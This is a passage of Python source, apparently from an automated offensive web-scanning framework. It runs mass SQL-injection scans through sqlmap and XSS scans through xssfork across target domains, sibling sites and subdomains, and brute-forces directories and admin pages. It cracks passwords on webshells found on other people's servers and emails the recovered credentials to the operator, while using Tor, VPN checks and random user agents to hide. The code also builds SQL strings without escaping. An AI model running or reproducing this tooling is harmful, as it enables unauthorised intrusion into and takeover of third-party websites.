                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                            set_scan_finished(
                                "pang_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)
                    elif SCAN_WAY == 2:
                        with open(http_sub_domain_file, "r+") as f:
                            http_sub_domain_list = f.readlines()
                            for http_sub_domain in http_sub_domain_list:
                                http_sub_domain_value = re.sub(
                                    r"(\s)$", "", http_sub_domain)
                                if http_sub_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                                    if sqli_scaned == 0:
                                        # 在旁站表中查询是否当前子站也是旁站,如果是且在上次旁站扫描中已经扫描过
                                        # 那么此次不再重复sqli扫描,并在子站表中将sqli_scaned标记为1
                                        sqli_scaned = get_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", http_sub_domain_value)
                                        if sqli_scaned == 1:
                                            print(
                                                "this sub domain is the same to one pang domain whose sqli scan finished in pang domain table")
                                        else:
                                            sqlmap_crawl(
                                                http_sub_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                            set_scan_finished(
                                "sub_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)

                    elif SCAN_WAY == 3:
                        with open(domain_pang_file, "r+") as f:
                            domain_pang_list = f.readlines()
                            for pang_http_domain in domain_pang_list:
                                pang_http_domain_value = re.sub(
                                    r"(\s)$", "", pang_http_domain)
                                if pang_http_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                                    if sqli_scaned == 0:
                                        # 在子站表中查询是否当前旁站也是子站,如果是且在上次子站扫描中已经扫描过
                                        # 那么此次不再重复sqli扫描,并在旁站表中将sqli_scaned标记为1
                                        sqli_scaned = get_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", pang_http_domain_value)
                                        if sqli_scaned == 1:
                                            print(
                                                "this pang domain is the same to one sub domain whose sqli scan finished in sub domain table")
                                        else:
                                            sqlmap_crawl(
                                                pang_http_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                            set_scan_finished(
                                "pang_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)

                        with open(http_sub_domain_file, "r+") as f:
                            http_sub_domain_list = f.readlines()
                            for http_sub_domain in http_sub_domain_list:
                                http_sub_domain_value = re.sub(
                                    r"(\s)$", "", http_sub_domain)
                                if http_sub_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                                    if sqli_scaned == 0:
                                        # 在旁站表中查询是否当前子站也是旁站,如果是且在上次旁站扫描中已经扫描过
                                        # 那么此次不再重复sqli扫描,并在子站表中将sqli_scaned标记为1
                                        sqli_scaned = get_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain",
                                            http_sub_domain_value)
                                        if sqli_scaned == 1:
                                            print(
                                                "this sub domain is the same to one pang domain whose sqli scan finished in pang domain table")
                                        else:
                                            sqlmap_crawl(
                                                http_sub_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                            set_scan_finished(
                                "sub_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)

                    elif SCAN_WAY == 4:
                        pass
                    else:
                        print("SCAN_WAY error,check it")

                    break

                else:
                    print(
                        "it seems that one main target's sqli_scaned value you get is not what you want")
            else:
                time.sleep(1)
                print("vpn is off,scan will continue till vpn is on")

    if num == str(2):
        while(1):
            if checkvpn():

                if http_domain_sqli_scaned == 0 or pang_domains_sqli_scaned == 0 or sub_domains_sqli_scaned == 0:
                    # 不管SCAN_WAY的值为多少,首先对main target进行sqli扫描
                    if http_domain_sqli_scaned == 0:
                        sqlmap_g_nohuman(
                            http_domain, bool_tor, post_or_not)
                        set_scan_finished("sqli_scaned", DB_NAME,
                                          main_target_table_name, "start_url", start_url)

                    domain_pang_file = LOG_FOLDER_PATH + "/pang/%s_pang.txt" % http_domain.split(
                        '/')[-1].replace(".", "_")
                    domain_pang_table_name = http_domain.split(
                        '/')[-1].replace(".", "_") + "_pang"
                    http_sub_domain_file = LOG_FOLDER_PATH + "/sub/%s_sub.txt" % http_domain.split(
                        '/')[-1].replace(".", "_")
                    domain_sub_table_name = http_domain.split(
                        '/')[-1].replace(".", "_") + "_sub"

                    if SCAN_WAY == 1:
                        # 1和3的扫描方式中要扫描旁站,此时对旁站进行sqli扫描
                        with open(domain_pang_file, "r+") as f:
                            domain_pang_list = f.readlines()
                            for pang_http_domain in domain_pang_list:
                                pang_http_domain_value = re.sub(
                                    r"(\s)$", "", pang_http_domain)
                                if pang_http_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                                    if sqli_scaned == 0:
                                        sqlmap_g_nohuman(
                                            pang_http_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                            set_scan_finished(
                                "pang_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)
                    elif SCAN_WAY == 2:
                        with open(http_sub_domain_file, "r+") as f:
                            http_sub_domain_list = f.readlines()
                            for http_sub_domain in http_sub_domain_list:
                                http_sub_domain_value = re.sub(
                                    r"(\s)$", "", http_sub_domain)
                                if http_sub_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                                    if sqli_scaned == 0:
                                        sqlmap_g_nohuman(
                                            http_sub_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                            set_scan_finished(
                                "sub_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)

                    elif SCAN_WAY == 3:
                        with open(domain_pang_file, "r+") as f:
                            domain_pang_list = f.readlines()
                            for pang_http_domain in domain_pang_list:
                                pang_http_domain_value = re.sub(
                                    r"(\s)$", "", pang_http_domain)
                                if pang_http_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                                    if sqli_scaned == 0:
                                        sqlmap_g_nohuman(
                                            pang_http_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_pang_table_name, "http_domain", pang_http_domain_value)
                            set_scan_finished(
                                "pang_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)
                        with open(http_sub_domain_file, "r+") as f:
                            http_sub_domain_list = f.readlines()
                            for http_sub_domain in http_sub_domain_list:
                                http_sub_domain_value = re.sub(
                                    r"(\s)$", "", http_sub_domain)
                                if http_sub_domain_value != http_domain:
                                    sqli_scaned = get_scan_finished(
                                        "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                                    if sqli_scaned == 0:
                                        sqlmap_g_nohuman(
                                            http_sub_domain_value, bool_tor, post_or_not)
                                        set_scan_finished(
                                            "sqli_scaned", DB_NAME, domain_sub_table_name, "http_domain", http_sub_domain_value)
                            set_scan_finished(
                                "sub_domains_sqli_scaned",
                                DB_NAME,
                                main_target_table_name,
                                "start_url",
                                start_url)

                    elif SCAN_WAY == 4:
                        pass
                    else:
                        print("SCAN_WAY error,check it")

                    break

                else:
                    print(
                        "it seems that one main target's sqli_scaned value you get is not what you want")
            else:
                time.sleep(1)
                print("vpn is off,scan will continue till vpn is on")


def single_xss_scan(start_url):
    # 这里进行xss漏洞检测
    # target可以是主要目标或是主要目标的旁站或子站
    global DB_NAME

    target = get_http_domain_from_url(start_url)
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    if target[:4] != "http":
        print("error,target should be like http(s)://xxx.xxx.xxx")
        return

    if not os.path.exists(ModulePath + "/xssfork"):
        # 准备xssfork
        os.system(
            "cd %s && git clone https://github.com/bsmali4/xssfork.git" % ModulePath)
        os.system("cd %s && pip2 install -r requirements.txt" % ModulePath)

    def xss_check(url):
        # 对url进行xss检测
        # 包括存储型xss,自动化检测存储型xss时暂只检测输出内容的目标url为当前url的情况
        if get_url_has_csrf_token(url)['has_csrf_token']:
            return "url has csrf token,I cann't check xss in this situation,you should check it in your new code"
        if not re.search(r"(\?|\^)\w+=", url):
            # 如果没有参数则不进行检测
            return
        # http_netloc = get_http_netloc_from_url(url)
        cookie = get_url_cookie(start_url)
        content = ""
        if "^" not in url:
            # get请求
            xss_cmd = '''python2 %s/xssfork.py -u "%s" --cookie "%s" 2>&1 | tee /tmp/xssfork''' % (
                ModulePath, url, cookie)
            os.system(xss_cmd)
            with open("/tmp/xssfork", "r+") as f:
                content = f.read()
            os.system("rm /tmp/xssfork")
            if re.search(r"PAYLOAD", content, re.I):
                return content + "\n"
            return content
        else:
            # post请求
            url_list = url.split("^")
            url = url_list[0]
            data = url_list[1]
            xss_cmd = '''python2 %s/xssfork.py -u "%s" --cookie "%s" --data "%s" 2>&1 | tee /tmp/xssfork''' % (
                ModulePath, url, cookie, data)
            os.system(xss_cmd)
            with open("/tmp/xssfork", "r+") as f:
                content = f.read()
            os.system("rm /tmp/xssfork")
            if re.search(r"PAYLOAD", content, re.I):
                return content + "\n"
            return content

    target_urls_list = get_target_urls_from_db(target)
    strings_to_write = ""

    table_name_list = get_target_table_name_list(target)
    if 1 == get_scan_finished(
        "xss_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            start_url):
        return
    else:
        for each_url in target_urls_list:
            strings_to_write += xss_check(each_url)

    for each_table in table_name_list:
        if strings_to_write != "":
            execute_sql_in_db(
                "update `%s` set xsss='%s' where %s='%s'" %
                (each_table, strings_to_write, column_name, start_url), DB_NAME)


def single_script_type_scan(target):
    # 对一个target进行脚本类型识别,这里的target可以为主要目标,也可以为主要目标的旁站或子站

    global DB_NAME
    figlet2file("script type scaning...", 0, True)
    print(target)
    table_name_list = get_target_table_name_list(target)
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
    if 1 == get_scan_finished(
        "script_type_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        script_type = get_target_script_type(target)
        if len(script_type) > 1:
            for each in script_type:
                # 如果type类型不止一个,则多个中间用","分隔
                tmp = each + ","
            script_type_value = tmp[:-1]
        elif len(script_type) == 1:
            script_type_value = script_type[0]
        else:
            print("script_type wrong in single_script_type_scan func,check it")
        # script_type(是list)有可能是多种类型(aps&&php),但概率较小
        for each_table in table_name_list:
            execute_sql_in_db(
                "update `%s` set script_type='%s' where %s='%s'" %
                (each_table, script_type_value, column_name, target), DB_NAME)


def single_dirb_scan(target):
    # 对一个target进行dirb扫描,这里的target可以为主要目标,也可以为主要目标的旁站或子站

    global DB_NAME
    global DELAY
    import os
    table_name_list = get_target_table_name_list(target)
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    if 1 == get_scan_finished(
        "dirb_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        pass

    if not os.path.exists(ModulePath + "dirsearch"):
        os.system(
            "git clone https://github.com/maurosoria/dirsearch.git %sdirsearch" % ModulePath)

    if not os.path.exists(LOG_FOLDER_PATH):
        os.system("mkdir %s" % LOG_FOLDER_PATH)

    if not os.path.exists(LOG_FOLDER_PATH + "/dirsearch_log"):
        os.system("cd %s && mkdir dirsearch_log" % LOG_FOLDER_PATH)
    log_file = LOG_FOLDER_PATH + \
        "/dirsearch_log/%s_log.txt" % target.split("/")[-1]
    if os.path.exists(log_file):
        pass
    else:
        result = execute_sql_in_db(
            "select script_type from `%s` where %s='%s'" %
            (table_name_list[0], column_name, target), DB_NAME)
        if len(result) > 0:
            ext = result[0][0]
        else:
            print("get script_type error in single_dirb_scan")

        origin_log_dir = ModulePath + \
            "dirsearch/reports/%s" % target.split("/")[-1]
        if not os.path.exists(log_file):
            if (os.path.exists(origin_log_dir) and os.path.exists(origin_log_dir) and len(
                    os.listdir(origin_log_dir)) == 0) or not os.path.exists(origin_log_dir):

                if DELAY == "":
                    DELAY = 0

                os.system(
                    "cd %sdirsearch && python3 dirsearch.py -u %s -t 200 -e %s --random-agents -x 301,302,500 -r --delay=%d" %
                    (ModulePath, target, ext, DELAY))

            if not os.path.exists(origin_log_dir):

                from colorama import init, Fore
                init(autoreset=True)
                print(Fore.YELLOW + target)

                print(
                    Fore.YELLOW +
                    "single_dirb_scan may be banned coz too much request to the target server")
                return
            else:
                origin_log_name_list = os.listdir(origin_log_dir)
                if len(origin_log_name_list) > 0:
                    os.system("mv %s/%s %s" %
                              (origin_log_dir, origin_log_name_list[0], log_file))
        else:
            pass

    strings = ""
    urls_list = []
    if os.path.exists(log_file):
        # 如果dirbsearch失败则不会产生log文件
        with open(log_file, "r+") as f:
            for each_line in f:
                # 每行最后一个字符是\n
                if each_line[:3] == '200':
                    url = re.search(r"(http.*)", each_line).group(1)
                    if url not in urls_list and url[0:-(1 + len(url.split(".")[-1]))] + url.split(
                            ".")[-1].upper() not in urls_list and '.' in url[-6:]:
                        urls_list.append(url)
                        strings += (url + "\n")
        strings_to_write = strings[:-1]
    else:
        strings_to_write = ""

    for each_table in table_name_list:
        write_string_to_sql(
            strings_to_write,
            DB_NAME,
            each_table,
            "dirb_info",
            column_name,
            target)

    target_urls_table_name = target.split("/")[-1].replace(".", "_") + "_urls"
    for each_url in urls_list:
        sql_result = execute_sql_in_db(
            "select * from `%s` where url='%s'" %
            (target_urls_table_name, each_url), DB_NAME)
        if len(sql_result) > 0:
            # 说明爬虫时已经爬到这个url,这种情况不写入数据库中
            pass
        else:
            result = get_request(each_url, by="MechanicalSoup")
            code = result['code']
            title = result['title']
            content = result['content']
            auto_write_string_to_sql(
                str(code),
                DB_NAME,
                target_urls_table_name,
                'code',
                'url',
                each_url)
            auto_write_string_to_sql(
                str(title),
                DB_NAME,
                target_urls_table_name,
                'title',
                'url',
                each_url)
            auto_write_string_to_sql(
                content,
                DB_NAME,
                target_urls_table_name,
                'content',
                'url',
                each_url)
            # 找出like_admin登录页面
            if like_admin_login_content(content):
                for each_table in table_name_list:
                    auto_write_string_to_sql(
                        each_url,
                        DB_NAME,
                        each_table,
                        "like_admin_login_urls",
                        column_name,
                        target)
                execute_sql_in_db(
                    "update `%s` set like_admin_login_url='1' where url='%s'" %
                    (target_urls_table_name, each_url), DB_NAME)
            else:
                execute_sql_in_db(
                    "update `%s` set like_admin_login_url='0' where url='%s'" %
                    (target_urls_table_name, each_url), DB_NAME)


def auto_write_string_to_sql(
        string,
        db_name,
        table_name,
        column_name,
        table_primary_key,
        table_primary_key_value):
    # 自动写内容到数据库中,相比write_string_to_sql函数多了其他相关写内容到数据库的动作
    # 会在将一个column内容写到数据库时将其他的与之相关的可以确定的其他column中的可以填
    # 写的数据填入数据库,eg.targets表中填写http_domain时顺便填写domain
    # eg.urls表中填写url时顺便填写urls表中的http_domain
    # 只多写相同表中的可写的column,不同表中的可写column暂时不写
    global DB_SERVER
    global DB_NAME
    global DB_USER
    global DB_PASS
    global TARGETS_TABLE_NAME
    global FIRST_TARGETS_TABLE_NAME
    if not module_exist("MySQLdb"):
        # for ubuntu16.04 deal with install MySQLdb error
        os.system("apt-get -y install libmysqlclient-dev")
        os.system("easy_install MySQL-python")
        os.system("pip3 install MySQLdb")
        import MySQLdb
    # 首先将该写的写进去,下面会再看看有没有其他可写的column
    print("first column_name is:")
    print(column_name)
    write_string_to_sql(
        string,
        db_name,
        table_name,
        column_name,
        table_primary_key,
        table_primary_key_value)

    if (table_name == TARGETS_TABLE_NAME or table_name == FIRST_TARGETS_TABLE_NAME) and column_name != "domain":
        print("column_name is:")
        print(column_name)

        domain_column_has_content = False
        try:
            conn = MySQLdb.connect(
                DB_SERVER,
                DB_USER,
                DB_PASS,
                db=db_name,
                port=3306,
                charset="utf8")
            conn.autocommit(1)
            cur = conn.cursor()
            if table_name[-5:] == "_pang" or table_name[-4:] == "_sub":
                sql0 = "select domain from `%s` where http_domain='%s'" % \
                    (table_name, MySQLdb.escape_string(table_primary_key_value))
            else:
                sql0 = "select domain from `%s` where start_url='%s'" % \
                    (table_name, MySQLdb.escape_string(table_primary_key_value))
            print("sql0 is:")
            print(sql0)
            cur.execute(sql0)
            # result是一个元组,查询的结果在result[0]里面,result[0]是个u"" unicode
            # string类型,如果查询内容为空则
            result = cur.fetchone()
            print("result is:")
            print(result)
            if result is None or result[0] == '':
                # 如果domain内容为空才写,否则说明已经写过了就不再写入了
                domain_column_has_content = False
            else:
                domain_column_has_content = True
        except:
            import traceback
            traceback.print_exc()
            conn.rollback()
        finally:
            cur.close()
            conn.close()
        # 此时table_primary_key是http_domain,eg.http://www.baidu.com形式
        print("important value:")
        print(table_primary_key_value.split("//")[-1])
        if not domain_column_has_content:
            write_string_to_sql(table_primary_key_value.split(
                "//")[-1], DB_NAME, table_name, "domain", table_primary_key, table_primary_key_value)

    if table_name[-5:] == "_urls" and column_name != "http_domain":
        # 在写信息到数据库的urls表中时,把http_domain列顺便写进去
        http_domain_column_has_content = False
        try:
            conn = MySQLdb.connect(
                DB_SERVER,
                DB_USER,
                DB_PASS,
                db=DB_NAME,
                port=3306,
                charset="utf8")
            conn.autocommit(1)
            cur = conn.cursor()
            sql1 = "select http_domain from `%s` where url='%s'" % \
                (table_name, MySQLdb.escape_string(table_primary_key_value))
            cur.execute(sql1)
            result = cur.fetchone()
            if result is None or result[0] == '':
                http_domain_column_has_content = False
            else:
                http_domain_column_has_content = True
        except:
            import traceback
            traceback.print_exc()
            conn.rollback()
        finally:
            cur.close()
            conn.close()
        # 此时的table_primary_key是"url"
        if not http_domain_column_has_content:
            write_string_to_sql(
                get_http_domain_from_url(table_primary_key_value),
                DB_NAME,
                table_name,
                "http_domain",
                table_primary_key,
                table_primary_key_value)


def crack_allext_biaodan_webshell_url(url, user_dict_file, pass_dict_file):
    # 爆破表单类型的webshell
    # 表单类型的webshell爆破方法一样,不用分不同脚本类型分别爆破
    def allext_biaodan_webshell_crack_thread(password, url):
        if get_flag[0] == 1:
            return
        pattern = re.compile(
            r".*((/home)|(c:)|(/phpstudy)|(/var)|(wamp)).*", re.I)
        values = {'%s' % pass_form_name: '%s' % password}
        try_time[0] += 1
        html = post_request(url, values)

        PASSWORD = "(" + password + ")" + (52 - len(password)) * " "
        sys.stdout.write('-' * (try_time[0] * 100 // (sum[0])) + '>' + str(
            try_time[0] * 100 // (sum[0])) + '%' + '%s/%s %s\r' % (try_time[0], sum[0], PASSWORD))
        sys.stdout.flush()

        if re.search(pattern, html) or len(html) - unlogin_length > 8000:
            get_flag[0] = 1
            end = time.time()
            CLIOutput().good_print("congratulations!!! webshell cracked succeed!!!", "red")
            string = "cracked webshell:%s password:%s" % (url, password)
            return_password[0] = password
            CLIOutput().good_print(string, "red")
            print("you spend time:" + seconds2hms(end - start[0]))
            # 经验证terminate()应该只能结束当前线程,不能达到结束所有线程
            return password

    def crack_allext_biaodan_webshell_url_inside_func(
            url, user_dict_file, pass_dict_file):
        urls = []
        passwords = []
        i = 0
        while 1:
            if os.path.exists(pass_dict_file) is False:
                print("please input your password dict:>", end=' ')
                pass_dict_file = input()
                if os.path.exists(pass_dict_file) is True:
                    break
            else:
                break
        f = open(pass_dict_file, "r+")
        for each in f:
            urls.append(url)
            each = re.sub(r"(\s)$", "", each)
            passwords.append(each)
            i += 1
        f.close()
        sum[0] = i
        start[0] = time.time()

        # 这里如果用的map将一直等到所有字典尝试完毕才退出,map是阻塞式,map_async是非阻塞式,用了map_async后要在成\
        # 功爆破密码的线程中关闭线程池,不让其他将要运行的线程运行,这样就不会出现已经爆破成功还在阻塞的情况了,可\
        # 参考下面文章
        # 后来试验似乎上面这句话可能是错的,要参照notes中的相关说明
        # http://blog.rockyqi.net/python-threading-and-multiprocessing.html
        with futures.ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(allext_biaodan_webshell_crack_thread,
                         passwords, urls, timeout=30)

    # 这里要注意的是Fore等模块的导入要在需要时才导入,它与tab_complete_for_file_path函数冲突
    # 且导入的下面的语句也不能放到crack_webshell函数那里,那样ThreadPool.map()会无法知道Fore是个什么东西
    try:
        from colorama import init
        init(autoreset=True)
    except:
        os.system("pip3 install colorama")
        from colorama import init
        init(autoreset=True)

    user_dict_file = ModulePath + "dicts/user.txt"
    pass_dict_file = ModulePath + "dicts/webshell_passwords.txt"
    user_form_name = get_user_and_pass_form_from_url(url)['user_form_name']
    pass_form_name = get_user_and_pass_form_from_url(url)['pass_form_name']
    # 这里如果字典中的返回键值对中的一个键对应的值为""(空字符串),那么返回的结果是"None"(一个叫做None的字符串)
    # print type(user_form_name)
    response_key_value = get_user_and_pass_form_from_url(url)[
        'response_key_value']
    unlogin_length = len(response_key_value['content'])

    get_flag = [0]
    try_time = [0]
    sum = [0]
    start = [0]
    return_password = [""]

    if user_form_name is not None:
        while 1:
            if os.path.exists(user_dict_file) is False:
                print("please input your username dict:>", end=' ')
                user_dict_file = input()
                if os.path.exists(user_dict_file) is True:
                    break
            else:
                break

        crack_admin_login_url(url)

    else:
        if pass_form_name is not None:
            crack_allext_biaodan_webshell_url_inside_func(
                url, user_dict_file, pass_dict_file)

    return {'cracked': get_flag[0], 'password': return_password[0]}


def crack_webshell(url, anyway=0):
    # webshll爆破,第二个参数默认为0,如果设置不为0,则不考虑判断是否是webshll,如果设置为1,直接按direct_bao方式爆破
    # 如果设置为2,直接按biaodan_bao方式爆破
    global DB_NAME

    figlet2file("cracking webshell", 0, True)
    print("cracking webshell --> %s" % url)
    print("正在使用吃奶的劲爆破...")

    ext = get_webshell_suffix_type(url)
    tmp = check_webshell_url(url)
    url_http_domain = get_http_domain_from_url(url)

    target_info = get_target_table_name_info(url)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
    start_url = get_url_start_url(url)
    column_name_value = start_url if target_info['target_is_pang_or_sub'] else url_http_domain
    table_name_list = get_target_table_name_list(url_http_domain)
    urls_table_name = url_http_domain.split(
        "/")[-1].replace(".", "_") + "_urls"
    if tmp['y2'] == 'direct_bao' or tmp['y2'] == 'biaodan_bao':
        # 如果检测到可能是webshell,将数据库中like_webshell_url字段标记为1,并将url加入到相应表中的
        # like_webshell_urls字段中
        # 这里还没开始爆webshell,只是检测是否为可疑webshell
        for each_table in table_name_list:
            auto_write_string_to_sql(
                url,
                DB_NAME,
                each_table,
                "like_webshell_urls",
                column_name,
                column_name_value)
        execute_sql_in_db(
            "update `%s` set like_webshell_url='1' where url='%s'" %
            (urls_table_name, url), DB_NAME)

    if anyway == 1 or tmp['y2'] == "direct_bao":

        server_type = get_server_type(url)
        if re.search(r"(apache)|(iis)|(nginx)|(lighttpd)", server_type, re.I):
            return_value = jie_di_qi_crack_ext_direct_webshell_url(
                url, ModulePath + "dicts/jie_di_qi_webshell_passwords.txt", ext)
        else:
            return_value = crack_ext_direct_webshell_url(
                url, ModulePath + "dicts/webshell_passwords.txt", ext)

        if return_value['cracked'] == 0:
            print("webshell爆破失败 :(")
            return
        else:
            # 爆破成功将cracked_webshell_url_info标记为webshell密码信息,并将webshell密码信息加入到相应非urls表
            # 中的cracked_webshell_urls_info字段中
            strings_to_write = "webshell:%s,password:%s" % (
                url, return_value['password'])
            execute_sql_in_db(
                "update `%s` set cracked_webshell_url_info='%s' where url='%s'" %
                (urls_table_name, strings_to_write, url), DB_NAME)
            for each_table in table_name_list:
                auto_write_string_to_sql(
                    strings_to_write,
                    DB_NAME,
                    each_table,
                    "cracked_webshell_urls_info",
                    column_name,
                    column_name_value)
            mail_msg_to(
                strings_to_write,
                subject="cracked webshell url")
    elif anyway == 2 or tmp['y2'] == "biaodan_bao":
        # 大马类型提供表单名的webshell不能以1000倍速爆破,因为表单名确定,而一句话webshell中的不确定
        return_value = crack_allext_biaodan_webshell_url(
            url, ModulePath + "dicts/user.txt", ModulePath + "dicts/webshell_passwords.txt")

        if return_value['cracked'] == 0:
            print("webshell爆破失败 :(")
            return
        else:
            # 爆破成功将cracked_webshell_url_info标记为webshell密码信息,并将webshell密码信息加入到相应表中的
            # cracked_webshell_urls_info字段中
            strings_to_write = "webshell:%s,password:%s" % (
                url, return_value['password'])
            execute_sql_in_db(
                "update `%s` set cracked_webshell_url_info='%s' where url='%s'" %
                (urls_table_name, strings_to_write, url), DB_NAME)
            for each_table in table_name_list:
                auto_write_string_to_sql(
                    strings_to_write,
                    DB_NAME,
                    each_table,
                    "cracked_webshell_urls_info",
                    column_name,
                    column_name_value)
            mail_msg_to(
                strings_to_write,
                subject="cracked webshell url")

    elif tmp['y2'] == "bypass":
        print(
            Fore.RED +
            "congratulations!!! webshell may found and has no password!!!")
        string = "cracked webshell:%s no password!!!" % url
        print(Fore.RED + string)

        # 爆破成功将cracked_webshell_url_info标记为webshell密码信息,并将webshell密码信息加入到相应表中的
        # cracked_webshell_urls_info字段中
        strings_to_write = "webshell:%s,password:%s" % (
            url, return_value['password'])
        execute_sql_in_db(
            "update `%s` set cracked_webshell_url_info='%s' where url='%s'" %
            (urls_table_name, strings_to_write, url), DB_NAME)
        for each_table in table_name_list:
            auto_write_string_to_sql(
                strings_to_write,
                DB_NAME,
                each_table,
                "cracked_webshell_urls_info",
                column_name,
                column_name_value)
        mail_msg_to(strings_to_write,
                    subject="cracked webshell url")

        return

    else:
        print("这不是一个webshell :(")
        return


def cms_identify(target):
    # 对target进行cms识别
    # target可以是主要目标,也可以是主要目标的旁站或子站
    figlet2file("cms identifying...", 0, True)
    print(target)
    from concurrent import futures
    import time
    identified = [0]
    result = ["unknown"]
    target = [target]
    start = [time.time()]

    def check_cms(single_line):
        if identified[0] == 1:
            return
        if single_line[0] != '#':
            content = get_request(
                target[0] + single_line.split("------")[0])['content']
            if re.search(r"%s" % single_line.split("------")[1], content):
                identified[0] = 1
                end = time.time()
                print("you spend %s identify cms" %
                      seconds2hms(end - start[0]))
                result[0] = single_line.split("------")[1]

    def single_cms_identify(txt):
        if identified[0] == 1:
            return
        with open(ModulePath + "cms_identify/%s" % txt, "r+", encoding='utf-8', errors='ignore') as f:
            lines = f.readlines()
        with futures.ThreadPoolExecutor(max_workers=3) as executor:
            executor.map(check_cms, lines, timeout=60)

    txt_list = os.listdir(ModulePath + "cms_identify")
    with futures.ThreadPoolExecutor(max_workers=25) as executor:
        executor.map(single_cms_identify, txt_list, timeout=60)

    if result[0] == "unknown":
        end = time.time()
        print("you spend %s identify cms,but not identified" %
              seconds2hms(end - start[0]))
    print("got:%s" % result[0])
    return result[0]


def single_cms_scan(start_url):
    # 对target根据target的cms类型进行cms识别及相应第三方工具扫描,target可以是主要目标或者是旁站或是子站
    global DB_NAME
    target = get_http_domain_from_url(start_url)

    figlet2file("cms scaning...", 0, True)
    print(start_url)
    import os
    table_name_list = get_target_table_name_list(target)
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
    if 1 == get_scan_finished(
        "cms_identify_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            start_url):
        if target_info['target_is_pang_and_sub']:
            if get_scan_finished(
                "cms_identify_scaned",
                DB_NAME,
                table_name_list[1],
                "http_domain",
                    start_url) == 0:
                set_scan_finished(
                    "cms_identify_scaned",
                    DB_NAME,
                    table_name_list[1],
                    "http_domain",
                    start_url)
        result = execute_sql_in_db(
            "select cms_value from `%s` where %s='%s'" %
            (table_name_list[0], column_name, start_url), DB_NAME)
        if len(result) > 0:
            cms_value = result[0][0]
        else:
            print("execute_sql_in_db error in single_cms_scan,got wrong cms_value")
    else:
        cms_value = cms_identify(start_url)
        for each_table in table_name_list:
            execute_sql_in_db(
                "update `%s` set cms_value='%s' where %s='%s'" %
                (each_table, cms_value, column_name, start_url), DB_NAME)
            set_scan_finished(
                "cms_identify_scaned",
                DB_NAME,
                each_table,
                column_name,
                start_url)
    if cms_value == "unknown":
        pass
    else:
        if 1 == get_scan_finished(
            "cms_scaned",
            DB_NAME,
            table_name_list[0],
            column_name,
                start_url):
            pass
        else:

            # 下面相当于cms_scan过程
            if not os.path.exists(LOG_FOLDER_PATH):
                os.system("mkdir %s" % LOG_FOLDER_PATH)
            if not os.path.exists(LOG_FOLDER_PATH + "/cms_scan_log"):
                os.system("cd %s && mkdir cms_scan_log" % LOG_FOLDER_PATH)

            if not os.path.exists(ModulePath + "cms_scan"):
                os.system("mkdir %s" % ModulePath + "cms_scan")

            # discuz,wordpress,joomla三种cms除了用searchsploit来扫之外还用三个各自的针对扫描工具扫
            # 上面3种cms之外的cms统一采用searchsploit的数据库来扫描可能存在的vul,目前只根据cms名称找出所有已有
            # vul,暂不支持精确vul,精确vul需要版本号的签定以及实际环境来判断
            command_out_put = get_string_from_command("searchsploit")
            if re.search(r"not found", command_out_put, re.I):
                os.system("git clone https://github.com/offensive-security/exploit-database.git \
/opt/exploit-database")
                os.system(
